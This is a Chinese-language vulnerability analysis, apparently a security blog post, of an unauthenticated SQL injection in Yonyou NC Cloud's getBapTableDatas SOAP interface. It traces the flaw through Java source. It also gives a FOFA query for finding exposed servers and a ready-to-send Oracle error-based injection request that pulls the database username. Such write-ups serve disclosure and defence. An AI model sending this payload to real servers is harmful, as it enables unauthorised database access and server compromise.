漏洞简介
用友 NC Cloud 是一种商业级的企业资源规划云平台,为企业提供全面的管理解决方案,包括财务管理、采购管理、销售管理、人力资源管理等功能,基于云原生架构,深度应用新一代数字技术,打造开放、 互联、融合、智能的一体化云平台,支持公有云、混合云、专属云的灵活部署模式。聚焦数字化管理、数字化经营、数字化平台等三大企业数字化转型战略方向,提供涵盖数字营销、智能制造、财务共享、人力共享与协同,智慧采购、数字中台等18大解决方案,助力大型企业全面落地数字化和业务流程优化。用友NC Cloud nc.itf.bap.service.IBapIOService 接口的 getBapTableDatas 存在SQL注入漏洞,未授权的攻击者可以通过此漏洞获取数据库权限,进一步利用可导致服务器失陷。
影响版本
NC65、NCC1903、NCC1909、NCC2005、NCC2105、NCC2111
fofa语法
app="用友-UFIDA-NC"
漏洞分析
先看 getBapTableDatas 业务逻辑的实现
public BapTableData[] getBapTableDatas(String ... tableIds) throws Exception {
PerfWatch pw = new PerfWatch(NCLangRes4VoTransl.getNCLangRes().getStrByID("8001006_0", "08001006-0275") + StringTools.arr2Str((Object[])tableIds, (String)","));
try {
if (ArrayUtils.isEmpty((Object[])tableIds)) {
BapTableData[] bapTableDataArray = new BapTableData[]{};
return bapTableDataArray;
}
ArrayList<BapTableData> dataList = new ArrayList<BapTableData>();
for (String tableId : tableIds) {
MetaTableDef tableDef = this.getMetaDef(tableId);
if (tableDef == null) {
......
在判断传入的 tableIds不为空时,根据传入的多个 tableId 分别调用 getMetaDef 函数,其实现如下
private MetaTableDef getMetaDef(String tableId) throws SmartMetaException {
Object[] splits = tableId.split("@");
if (ArrayUtils.isEmpty((Object[])splits) || splits.length < 2) {
String message = NCLangRes4VoTransl.getNCLangRes().getStrByID("8001006_0", "08001006-0273") + tableId;
throw new RuntimeException(message);
}
MetaTableDef tableDef = SmartMetaUtilities.getSmartMetaService().getMetaTableByTableName((String)splits[1], (String)splits[0]);
if (tableDef == null) {
......
tableId 参数的输入格式应为 dsName@tableName,即通过@符号将数据源名称(dsName)和表名(tableName)分隔的字符串。
然后将分割后的数组前两部分分别带入 getMetaTableByTableName 函数中,其实现如下
public MetaTableDef getMetaTableByTableName(String dsName, String tableName) throws SmartMetaException {
if (StringUtils.isEmpty((String)tableName)) {
return null;
}
String clause = " upper(tableid)='" + tableName.toUpperCase() + "' ";
clause = StringUtils.isEmpty((String)dsName) ? clause + "and isnull(dsname,'~')='~' " : clause + "and upper(dsname)='" + dsName.toUpperCase() + "'";
Object[] datas = new DAOAction().loadByClause(MetaTable.class, SmartConfigCache.getDsName4Design(), clause);
MetaTable table = null;
- tableId[0] 对应 tableName
- tableId[1] 对应 dsName
需要满足 tableName 不为空,否则直接返回null ,其次是 dsName 的处理逻辑
- 若
dsName为空:添加条件isnull(dsname,'~')='~',表示查询dsname为空的记录。 - 若
dsName非空:添加条件upper(dsname)=dsName.upper()。
tableName 和 dsName 均是转为换大写后直接拼接进SQL语句中执行,无任何过滤,造成SQL注入漏洞。
漏洞复现
测试报错sql语句如下
SELECT guid,dsname,tableid,displayname,displayname2,displayname3,displayname4,displayname5,displayname6,moduleid,authtype,help,creationtime,modifiedtime,creator,modifier,pk_org,pk_group,dirguid,dr,ts,assetLayer,assetIndustry FROM bi_md_table WHERE upper(tableid)='1' AND (SELECT DBMS_XDB_VERSION.CHECKIN((SELECT BANNER FROM SYS.V_$VERSION WHERE ROWNUM=1)) FROM DUAL) IS NOT NULL --' and upper(dsname)='XXX'
也是符合上面的漏洞分析部分
POST /uapws/service/nc.itf.bap.service.IBapIOService HTTP/1.1
Host: ncc.mrxn.net
Content-Type: text/xml
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:gs="http://service.bap.itf.nc/IBapIOService">
<soapenv:Header/>
<soapenv:Body>
<gs:getBapTableDatas>
<gs:stringarrayItem>DWQueue@MessageQueue' AND 1=UTL_INADDR.GET_HOST_ADDRESS('~'||(user)||'~')-- abc
</gs:stringarrayItem>
</gs:getBapTableDatas>
</soapenv:Body>
</soapenv:Envelope>
成功利用报错注入得到数据库用户名

参考
- https://mrxn.net/jswz/yonyou-ncc-uapws-service-IBapIOService-getBapTable-sqli.html
https://security.yonyou.com/#/noticeInfo?id=401


